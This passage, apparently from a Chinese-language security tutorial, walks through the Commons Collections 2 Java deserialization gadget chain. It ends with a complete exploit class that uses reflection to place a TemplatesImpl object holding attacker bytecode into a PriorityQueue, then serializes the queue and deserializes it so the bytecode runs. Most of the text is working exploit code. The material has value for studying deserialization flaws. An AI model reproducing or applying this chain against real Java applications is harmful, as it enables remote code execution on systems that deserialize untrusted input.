由于comparator.compare()中的参数来自queue,所以需要将templates赋值给queue 。
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);priorityQueue.add(1);priorityQueue.add(templates);
但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare() 。
priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错,另外使用templates作为参数,又会导致在序列化过程构造恶意对象的时候得到执行 。所以这里先用toString()方法代替,后通过反射方式修改this.iMethodName属性 。
TransformingComparator transformingComparator = new TransformingComparator(transformer);PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);priorityQueue.add(1);priorityQueue.add(2);Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");iMethodName.setAccessible(true);iMethodName.set(transformer,"newTransformer");
三、queue属性赋值
transient queue无法序列化,但在PriorityQueue的writeobject()、readobject中对queue做了重写,实现序列化和反序列化 。
private void writeObject(java.io.ObjectOutputStream s)throws java.io.IOException {//略for (int i = 0; i < size; i++)s.writeObject(queue[i]);}
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException { //略for (int i = 0; i < size; i++)queue[i] = s.readObject();heapify();}
通过反射修改queues[0],利用如下:
TransformingComparator transformingComparator = new TransformingComparator(transformer);PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);priorityQueue.add(1);priorityQueue.add(2);Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");iMethodName.setAccessible(true);iMethodName.set(transformer,"newTransformer");Field queue = priorityQueue.getClass().getDeclaredField("queue");queue.setAccessible(true);Object[] queues = (Object[]) queue.get(priorityQueue);queues[0] = templates;//这里得替换queues[0]//如果queues[0]依旧保留使用Integer,会因为无法找到newTransformer报错 。
最终完整利用实现:
public class CC2Test2 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");Field name = templates_cl.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"xxx");Field transletIndex = templates_cl.getDeclaredField("_transletIndex");transletIndex.setAccessible(true);transletIndex.set(templates,0);byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));byte[][] codes = {code};//给_bytecodes赋值Field bytecodes = templates_cl.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(templates,codes);//要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap//_tfactorys是TransformerFactoryImpl类型的TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();Field tfactory = templates_cl.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,transformerFactory);InvokerTransformer transformer = new InvokerTransformer("toString", null, null);TransformingComparator transformingComparator = new TransformingComparator(transformer);PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);priorityQueue.add(1);priorityQueue.add(2);Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");iMethodName.setAccessible(true);iMethodName.set(transformer,"newTransformer");Field queue = priorityQueue.getClass().getDeclaredField("queue");queue.setAccessible(true);Object[] queues = (Object[]) queue.get(priorityQueue);queues[0] = templates;ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));objectOutputStream.writeObject(priorityQueue);ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));objectInputStream.readObject();}}